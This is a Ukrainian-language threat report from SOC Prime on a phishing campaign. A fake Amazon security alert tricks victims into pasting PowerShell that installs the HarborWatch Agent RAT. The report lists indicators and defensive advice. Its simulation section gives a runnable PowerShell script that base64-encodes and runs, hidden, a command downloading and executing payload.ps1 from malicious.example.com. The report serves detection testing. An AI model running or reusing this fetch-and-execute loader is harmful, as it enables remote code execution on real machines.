Від підробленого сповіщення безпеки Amazon до доставки агента HarborWatch

SOC Prime Team

Стежити

Від підробленого сповіщення безпеки Amazon до доставки агента HarborWatch

Detection stack

AIDR
Alert
ETL
Query

Звіт про загрози
Потік атаки
Виявлення
Симуляції

Резюме

У звіті описується фішингова кампанія, заснована на підробленому попередженні безпеки Amazon, яка обманює жертв виконати команду PowerShell через підказку в стилі ClickFix. Ця команда завантажує шкідливий виконуваний файл під назвою mysql.exe, який насправді є троянським клієнтом RAT HarborWatch Agent. Після запуску шкідливе ПЗ підключається до сервера керування та передачі даних і передає інформацію про хост. Операція покладається на подібні до справжніх домени та метод самозараження, що зловживання поведінкою користувача, щоб уникнути виявлення на основі традиційних вкладень.

Розслідування

Cofense відстежив кампанію від підробленої адреси відправника через шкідливі домени, завантажувач PowerShell і кінцевий шкідливий завантажуваний файл. Динамічний аналіз mysql.exe виявив вихідне з’єднання з сервером керування та управління за адресою 185.193.127.44 та використання шляхів API /api/agent/tasks/ and /api/heartbeat. Аналіз пам’яті також виявив ідентифікатор HarborWatchAgent/c-1.1.1.

Зм’якшення

Організації повинні блокувати ідентифіковані шкідливі домени та IP-адреси, обмежити виконання PowerShell закодованих команд, моніторити несподівані створення mysql.exe в каталозі Temp , та посилити захист електронної пошти від імітації бренду та підроблених попереджень.

Відповідь

Якщо ця активність виявлена, ізолюйте уражену кінцеву точку, завершіть процес HarborWatch Agent, зберіть судову інформацію та розгорніть блокування на основі індикаторів у всьому середовищі. Користувачам також слід попередити про підроблене попередження безпеки Amazon, і захист від фішингу повинен бути оновлений, щоб уловити подібні пастки.

"graph TB %% Class definitions classDef action fill:#99ccff classDef malware fill:#ff6666 classDef process fill:#ffcc99 classDef file fill:#cccccc %% Nodes initial_access_phishing["Action – T1566.002 Спаровий фішинг через посилання Лист виглядає як від Amazon і містить шкідливе посилання на верифікацію."] class initial_access_phishing action user_execution_malicious_link["Action – T1204.001 Виконання зловмисної команди через посилання Жертва клацає на посилання та переходить на сторінку, що інструктує скопіювати та вставити команду PowerShell."] class user_execution_malicious_link action user_execution_copy_paste["Action – T1204.004 Виконання команди через копіювання-вставку Скопійована команда PowerShell виконується локально."] class user_execution_copy_paste action obfuscation_obfuscated_files["Action – T1027 Зашифровані файли або інформація & T1027.018 Невидимі Unicode Команда PowerShell закодована в base64 і містить приховані Unicode символи."] class obfuscation_obfuscated_files action deobfuscate_decode["Action – T1140 Дешифрування/Декодування файлів або інформації Команда декодує навантаження під час виконання."] class deobfuscate_decode action hide_artifact_hidden_window["Action – T1564.003 Приховане вікно PowerShell виконується з параметром -w hidden, щоб уникнути відображення інтерфейсу."] class hide_artifact_hidden_window action ingress_tool_transfer["Action – T1105 Передача інструменту вхідного потоку Сценарій завантажує другий етап сценарію PowerShell (code.txt) з віддаленого сервера."] class ingress_tool_transfer action server_software_component["Action – T1505 Компонент програмного забезпечення сервера Другий сценарій отримує та виконує навантаження (mysql.exe), розміщене в %TEMP%."] class server_software_component action remote_access_tool["Malware – T1219 Інструмент віддаленого доступу Виконується спеціальний RAT під назвою HarborWatch Agent."] class remote_access_tool malware discovery_security_software["Action – T1518.001 Виявлення програмного забезпечення безпеки RAT збирає інформацію про програмне забезпечення безпеки."] class discovery_security_software action discovery_hardware["Action – T1592.001 Виявлення апаратного забезпечення RAT збирає деталі про апаратне забезпечення хоста."] class discovery_hardware action discovery_network_appliances["Action – T1590.006 Мережеві пристрої безпеки RAT перелічує пристрої мережевої безпеки."] class discovery_network_appliances action discovery_log_enumeration["Action – T1654 Перелік логів RAT перелічує журнали подій."] class discovery_log_enumeration action discovery_threat_vendor["Action – T1681 Пошук даних постачальників загроз RAT шукає інформацію про загрози."] class discovery_threat_vendor action c2_bidirectional["Action – T1102.002 Двостороннє спілкування через веб-сервіс Дані надсилаються на сервер C2 через HTTPS."] class c2_bidirectional action c2_oneway["Action – T1102.003 Одностороннє спілкування через веб-сервіс Додаткові інструкції отримані через HTTPS."] class c2_oneway action c2_dynamic_resolution["Action – T1568 Динамічна резолюція RAT вирішує домени C2 під час виконання."] class c2_dynamic_resolution action c2_dga["Action – T1568.002 Генератор алгоритмів домену Список доменів згенерований алгоритмічно."] class c2_dga action c2_dead_drop_resolver["Action – T1102.001 Dead Drop Resolver Отримує додаткові інструкції C2 з dead‑drop сайту."] class c2_dead_drop_resolver action exfiltration_c2["Action – T1041 Екфільтрація через C2-канал Зібрана інформація ексфільтрується через той самий веб-канал."] class exfiltration_c2 action exfiltration_alternative["Action – T1048 Екфільтрація через альтернативний протокол Використовується альтернативний протокол для ексфільтрації даних."] class exfiltration_alternative action discovery_cloud_dashboard["Action – T1538 Панель обслуговування хмар Дані відображаються на панелі керування китайською мовою (Harbor Sentinel)."] class discovery_cloud_dashboard action %% Connections initial_access_phishing –>|веде до| user_execution_malicious_link user_execution_malicious_link –>|веде до| user_execution_copy_paste user_execution_copy_paste –>|запускає| obfuscation_obfuscated_files obfuscation_obfuscated_files –>|декодується| deobfuscate_decode deobfuscate_decode –>|виконує| hide_artifact_hidden_window hide_artifact_hidden_window –>|завантажує| ingress_tool_transfer ingress_tool_transfer –>|завантажує| server_software_component server_software_component –>|виконує| remote_access_tool remote_access_tool –>|проводить| discovery_security_software remote_access_tool –>|проводить| discovery_hardware remote_access_tool –>|проводить| discovery_network_appliances remote_access_tool –>|проводить| discovery_log_enumeration remote_access_tool –>|проводить| discovery_threat_vendor remote_access_tool –>|спілкується через| c2_bidirectional remote_access_tool –>|отримує через| c2_oneway c2_bidirectional –>|використовує| c2_dynamic_resolution c2_dynamic_resolution –>|використовує| c2_dga c2_oneway –>|використовує| c2_dead_drop_resolver remote_access_tool –>|ексфільтрує через| exfiltration_c2 exfiltration_c2 –>|може також використовувати| exfiltration_alternative remote_access_tool –>|повідомляє до| discovery_cloud_dashboard "

Потік атак

Опис атаки та команди:
Атакувач отримав доступ до кінцевої точки і хоче завантажити та виконати шкідливе навантаження, залишаючись прихованим від користувача. Вони створюють однорядкову команду PowerShell, яка:
1. Виконується без профілю (-nop) щоб уникнути завантаження користувацьких профілів.
2. Запускається у прихованому вікні (-w hidden) щоб уникнути відображення інтерфейсу користувача (T1564.003).
3. Вбудовує скрипт зворотної оболонки закодований в base64 для уникнення простого виявлення рядків (T1027.010).
4. Виконує декодований скрипт через -EncodedCommand, використовуючи PowerShell як підписаний бінарний файл (T1218).
Створена командна строка відповідає правилам Sigma CommandLine|contains фільтрам, тим самим генеруючи очікуване попередження.

Скрипт для регресійного тестування:

# -------------------------------------------------
# Шкідливе виконання PowerShell, яке повинно викликати правило Sigma
# -------------------------------------------------
$payload = 'IEX (New-Object Net.WebClient).DownloadString("http://malicious.example.com/payload.ps1")'
$b64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
$cmd = "-nop -w hidden -EncodedCommand $b64"
Start-Process -FilePath "$env:SystemRootSystem32WindowsPowerShellv1.0powershell.exe" `
    -ArgumentList $cmd `
    -WindowStyle Hidden
# Кінець скрипту

Команди очищення:

# Завершення всіх залишків шкідливих процесів PowerShell
Get-Process -Name powershell -ErrorAction SilentlyContinue | Stop-Process -Force

# Видалення тимчасових файлів (жодного не створено в цьому випадку)
# Видалення змінної навантаження base64 з сесії (за бажанням)
Remove-Variable -Name b64 -ErrorAction SilentlyContinue

Приєднуйтесь до платформи Detection as Code від SOC Prime щоб покращити видимість загроз, найбільш актуальних для вашого бізнесу. Щоб допомогти вам розпочати та отримати негайну цінність, забронюйте зустріч зараз з експертами SOC Prime.

Приєднатися безкоштовно